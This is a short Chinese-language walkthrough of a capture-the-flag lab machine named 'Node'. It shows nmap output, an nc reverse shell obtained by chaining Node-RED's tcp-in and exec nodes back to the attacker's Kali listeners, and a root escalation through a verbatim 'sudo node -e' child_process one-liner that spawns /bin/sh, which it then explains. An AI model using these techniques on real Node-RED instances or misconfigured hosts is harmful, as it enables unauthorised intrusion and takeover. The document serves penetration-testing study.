# 靶场搭建

下载:Node

Nat,IP: 192.168.1.136

# 渗透过程

# 信息初收集

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Apache2 Debian Default Page: It works
1880/tcp open  http    Node.js Express framework
|_http-title: Node-RED
|_http-cors: GET POST PUT DELETE

发现 1880 是一个模块化编程的工具,里面有 exec 模块,我拿来执行 nc 反弹 shell

但是发现部署后不会直接执行,我试了几个触发的方式没有成功触发

最后发现组合 tcp inexec 模块能成功

tcpin: 设置成 connect 模式,指定到 kali 上面的一个监听端口

exec 设置一个反弹 shell,绑定到另一个端口

然后点击右上角部署

kali 上监听两个端口,几秒后 tcp in 的端口就会来一个连接,这个时候我们按一下回车就会触发 exec,拿到 shell

# 提权

sudo -l 发现有个 node 的 sudo

执行: sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

拿到了 root

# 小结

sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})' 是通过 Node.js 的 child_process 模块来执行一个子进程,子进程将执行 /bin/sh 命令(也就是在 Linux 系统上执行命令行),并将标准输入、标准输出和标准错误输出连接到父进程(即当前运行命令的终端)。

具体地说,这条命令通过 Node.js 的 require 函数引入了 child_process 模块,并调用了其 spawn 函数。 spawn 函数接受两个参数,第一个参数是要执行的命令,这里是 /bin/sh ,也就是 Linux 系统上的默认命令行解释器。第二个参数是一个选项对象,通过 {stdio: [0, 1, 2]} 指定了标准输入、标准输出和标准错误输出都连接到父进程。

这条命令的目的是在当前运行命令的终端中启动一个交互式的命令行会话,允许用户在子进程中执行命令。

关于 Node.js,它是一个基于 Chrome V8 引擎构建的 JavaScript 运行时环境。Node.js 允许开发者使用 JavaScript 来编写服务器端应用程序,它提供了丰富的内置模块和工具,使得开发和运行服务器端代码更加便捷。Node.js 的特点之一是非阻塞式的 I/O 操作,使得它在处理高并发请求的场景下表现出色。